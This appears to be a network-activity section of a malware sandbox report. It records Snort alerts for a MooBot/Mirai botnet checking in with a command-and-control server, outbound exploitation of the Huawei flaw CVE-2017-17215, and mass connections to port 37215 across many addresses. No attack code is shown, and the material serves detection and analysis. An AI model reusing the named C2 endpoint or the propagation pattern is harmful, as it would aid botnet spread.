Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57120 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57122 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57124 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57126 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:51512 -> 41.87.88.166:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:51512 -> 41.87.88.166:37215
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57130 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57132 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57134 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57136 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57138 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57140 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57142 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57144 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57146 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57148 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57150 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57152 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57154 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57156 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57158 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57160 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57162 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57166 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57168 -> 103.172.79.74:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:57170 -> 103.172.79.74:43957

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 156.254.103.19 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.7.240.157 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 103.172.79.74 ports 43957,3,4,5,7,9

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 42624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53410 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 51722
Source: unknown	Network traffic detected: HTTP traffic on port 56806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 56806
Source: unknown	Network traffic detected: HTTP traffic on port 53444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53444 -> 37215

Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.18.51.232:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.255.247.144:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.249.26.233:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 201.220.145.210:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.198.75.8:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.162.98.83:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 161.3.46.116:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.36.67.0:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.232.143.70:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.196.108.130:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.159.247.26:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.222.211.16:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.188.205.4:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.177.155.54:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.25.158.116:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.210.154.203:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.225.202.117:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.80.168.220:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.47.55.134:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.117.207.28:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 223.160.162.159:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 115.204.4.242:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.195.166.149:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.155.75.87:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.41.171.43:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 35.124.61.164:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.162.96.149:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.56.21.114:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.75.254.81:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.179.250.228:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.226.149.178:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.10.164.121:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 46.240.175.222:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.55.120.177:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.250.253.41:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.236.175.89:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 13.76.205.79:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.208.68.42:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.137.210.75:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 72.101.114.34:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 161.253.109.48:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.75.64.226:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 19.166.190.46:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.16.128.67:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 75.212.58.152:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.141.66.17:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.110.53.244:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.215.114.162:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.2.44.139:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 31.181.140.74:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.213.221.137:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.148.215.228:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.16.116.95:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.180.48.227:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.3.150.40:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 58.223.54.35:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.195.39.150:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.66.249.221:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.78.62.93:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.206.231.155:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.158.192.222:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.204.172.253:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.236.19.53:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 45.44.76.26:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 53.142.97.107:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.188.118.93:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.21.24.168:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.214.27.44:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.97.173.58:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 91.250.122.132:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.224.148.83:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 54.47.128.182:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 221.252.187.189:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.178.44.156:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.118.99.108:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 98.96.131.254:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.155.153.82:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.151.67.72:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.238.188.187:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 58.61.206.39:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.248.196.42:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 179.157.218.50:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.105.11.14:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.133.132.232:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.76.15.105:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.152.219.48:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.109.105.198:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.131.244.149:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.113.51.131:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 181.95.255.139:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 60.110.182.72:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.56.81.170:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.134.90.54:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 175.244.72.135:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.73.100.8:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.78.91.87:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.67.84.151:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.165.121.242:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.204.177.22:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.20.24.84:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 136.100.227.11:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.126.192.15:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 152.81.171.72:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.142.195.34:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.236.113.155:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 213.186.123.124:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.243.220.247:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.161.163.82:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.213.217.10:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.1.184.221:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 213.207.234.55:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.232.205.242:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 51.250.33.159:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.146.146.148:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.97.218.189:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.240.28.88:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 60.150.200.173:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.138.83.113:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.117.148.17:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.57.158.144:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 34.77.207.226:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.15.246.208:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 116.237.177.139:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.161.163.144:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.106.117.243:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 103.114.5.96:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 191.38.77.14:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.245.229.153:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 96.12.154.179:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.185.227.147:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.104.218.14:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.160.225.79:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 202.46.86.230:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.23.74.56:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 1.125.234.194:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.209.164.57:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 156.254.103.19:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.218.113.52:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 165.174.237.31:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.28.140.174:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.55.150.120:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.250.163.141:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.133.178.203:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.32.92.213:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 58.88.214.241:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 109.228.178.34:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.11.162.178:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.108.15.254:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.90.208.175:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.198.80.233:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.70.108.168:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.217.130.22:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.74.122.200:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.218.100.96:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.93.24.131:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.83.152.252:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.139.219.67:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.246.9.164:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.128.165.190:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 82.231.177.70:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.32.53.95:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.178.51.62:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.72.206.0:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.207.135.165:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.40.246.163:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.172.154.65:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.12.203.47:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.253.54.20:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.239.244.48:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.116.186.37:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.155.201.130:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.190.47.158:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 2.145.6.139:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.85.138.33:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.23.156.178:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.19.25.46:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 99.17.22.188:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.119.36.7:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.145.211.149:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 105.8.99.121:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.250.254.157:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.45.225.124:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.209.107.226:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 14.10.48.107:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.198.166.105:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.167.115.91:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.149.42.173:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.235.46.121:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.112.61.36:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.30.141.94:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.248.54.40:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.222.160.188:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 133.5.35.19:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.167.246.189:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 84.106.192.237:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.127.206.36:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.134.106.137:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.143.84.90:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.83.201.235:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.253.238.131:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.173.64.144:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.110.58.180:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.169.94.130:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.107.161.177:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.94.179.151:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.93.196.201:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.60.39.73:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.154.9.86:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.150.52.5:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.96.84.224:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.135.43.82:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.180.179.39:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.232.207.18:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.110.208.74:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.4.212.91:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.48.224.162:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.102.241.65:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 138.232.45.79:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.215.228.89:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.16.93.243:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.53.83.33:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 35.138.124.124:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.119.119.250:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.191.223.122:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.104.145.20:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.78.23.51:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.8.20.220:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.49.94.27:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.147.6.23:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.114.2.89:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 200.143.19.155:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.105.144.139:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.22.95.127:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.242.39.185:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.240.156.56:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.88.172.190:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.79.226.109:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.194.94.161:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.135.90.106:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.40.231.58:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.0.8.254:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 24.242.114.238:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.96.158.35:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 109.9.40.86:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.109.0.193:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.109.248.139:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.238.168.136:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.172.8.74:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.90.201.212:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.203.148.231:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.133.127.108:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.26.189.136:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.11.11.66:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.211.166.92:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.25.71.250:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 199.32.32.86:37215
Source: global traffic	TCP traffic: 192.168.2.14:56862 -> 103.172.79.74:43957
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.43.199.30:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.219.109.78:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.123.172.0:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 185.74.186.93:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.149.64.201:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.70.26.48:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 86.131.45.204:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.92.14.86:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.229.152.172:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.92.227.167:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.230.176.185:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.156.161.248:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.59.177.211:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 121.36.131.45:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.174.254.8:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.103.71.34:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.55.208.138:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 197.36.48.199:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.236.79.83:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 202.105.123.250:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.149.104.100:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.166.222.232:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.164.16.155:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.217.244.6:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 41.206.33.112:37215
Source: global traffic	TCP traffic: 192.168.2.14:65153 -> 157.238.30.144:37215
